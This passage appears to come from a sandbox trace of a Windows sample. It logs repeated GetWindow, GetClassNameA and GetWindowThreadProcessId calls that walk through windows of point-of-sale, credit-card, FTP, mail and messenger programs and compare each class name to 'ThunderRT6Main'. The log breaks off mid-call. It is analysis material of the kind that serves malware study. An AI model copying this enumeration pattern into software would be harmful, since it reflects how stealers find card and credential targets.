lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="omniposcls") returned 10 [0178.577] lstrcmpA (lpString1="omniposcls", lpString2="ThunderRT6Main") returned -1 [0178.577] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0178.577] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0178.577] GetClassNameA (in: hWnd=0x1024e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.577] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.577] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0178.578] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10248 [0178.578] GetClassNameA (in: hWnd=0x10248, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="mxslipstream") returned 12 [0178.578] lstrcmpA (lpString1="mxslipstream", lpString2="ThunderRT6Main") returned -1 [0178.578] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0178.578] GetWindow (hWnd=0x10248, uCmd=0x2) returned 0x1024a [0178.578] GetClassNameA (in: hWnd=0x1024a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.578] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.578] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0178.578] GetWindow (hWnd=0x1024a, uCmd=0x2) returned 0x10244 [0178.578] GetClassNameA (in: hWnd=0x10244, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="isspos_wnd") returned 10 [0178.578] lstrcmpA (lpString1="isspos_wnd", lpString2="ThunderRT6Main") returned -1 [0178.578] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0178.578] GetWindow (hWnd=0x10244, uCmd=0x2) returned 0x10246 [0178.578] GetClassNameA (in: hWnd=0x10246, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.578] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.578] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0178.578] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x10240 [0178.578] GetClassNameA (in: hWnd=0x10240, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="fposwin") returned 7 [0178.578] lstrcmpA (lpString1="fposwin", lpString2="ThunderRT6Main") returned -1 [0178.578] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0178.578] GetWindow (hWnd=0x10240, uCmd=0x2) returned 0x10242 [0178.578] GetClassNameA (in: hWnd=0x10242, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.578] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.578] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0178.578] GetWindow (hWnd=0x10242, uCmd=0x2) returned 0x1023c [0178.578] GetClassNameA (in: hWnd=0x1023c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="edcsvr_class") returned 12 [0178.579] lstrcmpA (lpString1="edcsvr_class", lpString2="ThunderRT6Main") returned -1 [0178.579] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0178.579] GetWindow (hWnd=0x1023c, uCmd=0x2) returned 0x1023e [0178.579] GetClassNameA (in: hWnd=0x1023e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.579] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.579] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0178.579] GetWindow (hWnd=0x1023e, uCmd=0x2) returned 0x10238 [0178.579] GetClassNameA (in: hWnd=0x10238, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="creditservice_wnd") returned 17 [0178.579] lstrcmpA (lpString1="creditservice_wnd", lpString2="ThunderRT6Main") returned -1 [0178.579] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0178.579] GetWindow (hWnd=0x10238, uCmd=0x2) returned 0x1023a [0178.579] GetClassNameA (in: hWnd=0x1023a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.579] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.579] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0178.579] GetWindow (hWnd=0x1023a, uCmd=0x2) returned 0x10234 [0178.579] GetClassNameA (in: hWnd=0x10234, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="centralcreditcardwindow") returned 23 [0178.579] lstrcmpA (lpString1="centralcreditcardwindow", lpString2="ThunderRT6Main") returned -1 [0178.579] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0178.579] GetWindow (hWnd=0x10234, uCmd=0x2) returned 0x10236 [0178.579] GetClassNameA (in: hWnd=0x10236, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.579] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.579] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0178.579] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x10230 [0178.579] GetClassNameA (in: hWnd=0x10230, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ccv_server_cls") returned 14 [0178.579] lstrcmpA (lpString1="ccv_server_cls", lpString2="ThunderRT6Main") returned -1 [0178.580] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0178.580] GetWindow (hWnd=0x10230, uCmd=0x2) returned 0x10232 [0178.580] GetClassNameA (in: hWnd=0x10232, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.580] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.580] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0178.580] GetWindow (hWnd=0x10232, uCmd=0x2) returned 0x1022c [0178.580] GetClassNameA (in: hWnd=0x1022c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="aldelo_window") returned 13 [0178.580] lstrcmpA (lpString1="aldelo_window", lpString2="ThunderRT6Main") returned -1 [0178.580] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0178.580] GetWindow (hWnd=0x1022c, uCmd=0x2) returned 0x1022e [0178.580] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.580] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.580] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0178.580] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x10228 [0178.580] GetClassNameA (in: hWnd=0x10228, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="afr38_") returned 6 [0178.580] lstrcmpA (lpString1="afr38_", lpString2="ThunderRT6Main") returned -1 [0178.580] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0178.580] GetWindow (hWnd=0x10228, uCmd=0x2) returned 0x1022a [0178.580] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.580] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.580] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0178.580] GetWindow (hWnd=0x1022a, uCmd=0x2) returned 0x10224 [0178.580] GetClassNameA (in: hWnd=0x10224, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="accupos_app") returned 11 [0178.580] lstrcmpA (lpString1="accupos_app", lpString2="ThunderRT6Main") returned -1 [0178.580] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0178.580] GetWindow (hWnd=0x10224, uCmd=0x2) returned 0x10226 [0178.580] GetClassNameA (in: hWnd=0x10226, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.581] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.581] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0178.581] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x10220 [0178.581] GetClassNameA (in: hWnd=0x10220, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="active-chargecls") returned 16 [0178.581] lstrcmpA (lpString1="active-chargecls", lpString2="ThunderRT6Main") returned -1 [0178.581] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0178.581] GetWindow (hWnd=0x10220, uCmd=0x2) returned 0x10222 [0178.581] GetClassNameA (in: hWnd=0x10222, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.581] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.581] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0178.581] GetWindow (hWnd=0x10222, uCmd=0x2) returned 0x1021c [0178.581] GetClassNameA (in: hWnd=0x1021c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="yahoomessengerclass") returned 19 [0178.581] lstrcmpA (lpString1="yahoomessengerclass", lpString2="ThunderRT6Main") returned 1 [0178.581] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0178.581] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x1021e [0178.581] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.581] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.581] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0178.581] GetWindow (hWnd=0x1021e, uCmd=0x2) returned 0x10218 [0178.581] GetClassNameA (in: hWnd=0x10218, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="winscpclass") returned 11 [0178.581] lstrcmpA (lpString1="winscpclass", lpString2="ThunderRT6Main") returned 1 [0178.581] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0178.581] GetWindow (hWnd=0x10218, uCmd=0x2) returned 0x1021a [0178.581] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.581] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.581] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0178.581] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x10214 [0178.581] GetClassNameA (in: hWnd=0x10214, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="whatsappwin") returned 11 [0178.581] lstrcmpA (lpString1="whatsappwin", lpString2="ThunderRT6Main") returned 1 [0178.581] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0178.582] GetWindow (hWnd=0x10214, uCmd=0x2) returned 0x10216 [0178.582] GetClassNameA (in: hWnd=0x10216, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.582] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.582] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0178.582] GetWindow (hWnd=0x10216, uCmd=0x2) returned 0x10210 [0178.582] GetClassNameA (in: hWnd=0x10210, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="webdrive_wnd") returned 12 [0178.582] lstrcmpA (lpString1="webdrive_wnd", lpString2="ThunderRT6Main") returned 1 [0178.582] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0178.582] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10212 [0178.582] GetClassNameA (in: hWnd=0x10212, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.582] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.582] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0178.582] GetWindow (hWnd=0x10212, uCmd=0x2) returned 0x1020c [0178.582] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="trillian_window") returned 15 [0178.582] lstrcmpA (lpString1="trillian_window", lpString2="ThunderRT6Main") returned 1 [0178.582] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0178.582] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0178.582] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.582] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.582] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0178.582] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10208 [0178.582] GetClassNameA (in: hWnd=0x10208, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="totalcmdwnd") returned 11 [0178.582] lstrcmpA (lpString1="totalcmdwnd", lpString2="ThunderRT6Main") returned 1 [0178.582] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0178.582] GetWindow (hWnd=0x10208, uCmd=0x2) returned 0x1020a [0178.582] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.582] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.582] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0178.582] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x10204 [0178.582] GetClassNameA (in: hWnd=0x10204, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="thunderbirdwindow") returned 17 [0178.583] lstrcmpA (lpString1="thunderbirdwindow", lpString2="ThunderRT6Main") returned -1 [0178.583] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0178.583] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x10206 [0178.583] GetClassNameA (in: hWnd=0x10206, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.583] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.583] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0178.583] GetWindow (hWnd=0x10206, uCmd=0x2) returned 0x10200 [0178.583] GetClassNameA (in: hWnd=0x10200, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="smartftpwindow") returned 14 [0178.583] lstrcmpA (lpString1="smartftpwindow", lpString2="ThunderRT6Main") returned -1 [0178.583] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0178.583] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0178.583] GetClassNameA (in: hWnd=0x10202, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.583] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.583] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0178.583] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x101fc [0178.583] GetClassNameA (in: hWnd=0x101fc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="skype_wnd") returned 9 [0178.583] lstrcmpA (lpString1="skype_wnd", lpString2="ThunderRT6Main") returned -1 [0178.583] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0178.583] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101fe [0178.583] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.583] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.583] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0178.583] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101f8 [0178.583] GetClassNameA (in: hWnd=0x101f8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="scriptftp_app") returned 13 [0178.583] lstrcmpA (lpString1="scriptftp_app", lpString2="ThunderRT6Main") returned -1 [0178.583] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0178.583] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101fa [0178.583] GetClassNameA (in: hWnd=0x101fa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.583] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.583] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0178.583] GetWindow (hWnd=0x101fa, uCmd=0x2) returned 0x101f4 [0178.584] GetClassNameA (in: hWnd=0x101f4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="pidgin_class") returned 12 [0178.584] lstrcmpA (lpString1="pidgin_class", lpString2="ThunderRT6Main") returned -1 [0178.584] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0178.584] GetWindow (hWnd=0x101f4, uCmd=0x2) returned 0x101f6 [0178.584] GetClassNameA (in: hWnd=0x101f6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.584] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.584] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0178.584] GetWindow (hWnd=0x101f6, uCmd=0x2) returned 0x101f0 [0178.584] GetClassNameA (in: hWnd=0x101f0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="outlookwin") returned 10 [0178.584] lstrcmpA (lpString1="outlookwin", lpString2="ThunderRT6Main") returned -1 [0178.584] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0178.584] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101f2 [0178.584] GetClassNameA (in: hWnd=0x101f2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.584] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.584] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0178.584] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101ec [0178.584] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="operamailcls") returned 12 [0178.584] lstrcmpA (lpString1="operamailcls", lpString2="ThunderRT6Main") returned -1 [0178.584] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0178.584] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ee [0178.584] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.584] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.584] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0178.584] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101e8 [0178.584] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="notepadwin") returned 10 [0178.584] lstrcmpA (lpString1="notepadwin", lpString2="ThunderRT6Main") returned -1 [0178.584] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0178.584] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101ea [0178.585] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.585] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.585] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0178.585] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e4 [0178.585] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ncftpwindow") returned 11 [0178.585] lstrcmpA (lpString1="ncftpwindow", lpString2="ThunderRT6Main") returned -1 [0178.585] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0178.585] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101e6 [0178.585] GetClassNameA (in: hWnd=0x101e6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.585] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.585] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0178.585] GetWindow (hWnd=0x101e6, uCmd=0x2) returned 0x101e0 [0178.585] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="leechftpclass") returned 13 [0178.585] lstrcmpA (lpString1="leechftpclass", lpString2="ThunderRT6Main") returned -1 [0178.585] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0178.585] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x101e2 [0178.585] GetClassNameA (in: hWnd=0x101e2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.585] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.585] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0178.585] GetWindow (hWnd=0x101e2, uCmd=0x2) returned 0x101dc [0178.585] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="icq_win") returned 7 [0178.585] lstrcmpA (lpString1="icq_win", lpString2="ThunderRT6Main") returned -1 [0178.585] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0178.585] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101de [0178.585] GetClassNameA (in: hWnd=0x101de, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.585] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.585] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0178.585] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101d8 [0178.585] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="gmailnotifierpro") returned 16 [0178.586] lstrcmpA (lpString1="gmailnotifierpro", lpString2="ThunderRT6Main") returned -1 [0178.586] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0178.586] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101da [0178.586] GetClassNameA (in: hWnd=0x101da, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.586] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.586] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0178.586] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d4 [0178.586] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="foxmailincmail") returned 14 [0178.586] lstrcmpA (lpString1="foxmailincmail", lpString2="ThunderRT6Main") returned -1 [0178.586] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0178.586] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101d6 [0178.586] GetClassNameA (in: hWnd=0x101d6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.586] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.586] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0178.586] GetWindow (hWnd=0x101d6, uCmd=0x2) returned 0x101d0 [0178.586] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="flingapp") returned 8 [0178.586] lstrcmpA (lpString1="flingapp", lpString2="ThunderRT6Main") returned -1 [0178.586] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0178.586] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101d2 [0178.586] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.586] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.586] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0178.586] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101cc [0178.586] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="flashfxp_") returned 9 [0178.586] lstrcmpA (lpString1="flashfxp_", lpString2="ThunderRT6Main") returned -1 [0178.586] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0178.586] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x101ce [0178.586] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.586] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.586] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0178.586] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101c8 [0178.587] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="filezillaapp") returned 12 [0178.587] lstrcmpA (lpString1="filezillaapp", lpString2="ThunderRT6Main") returned -1 [0178.587] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0178.587] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x101ca [0178.587] GetClassNameA (in: hWnd=0x101ca, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.587] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.587] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0178.587] GetWindow 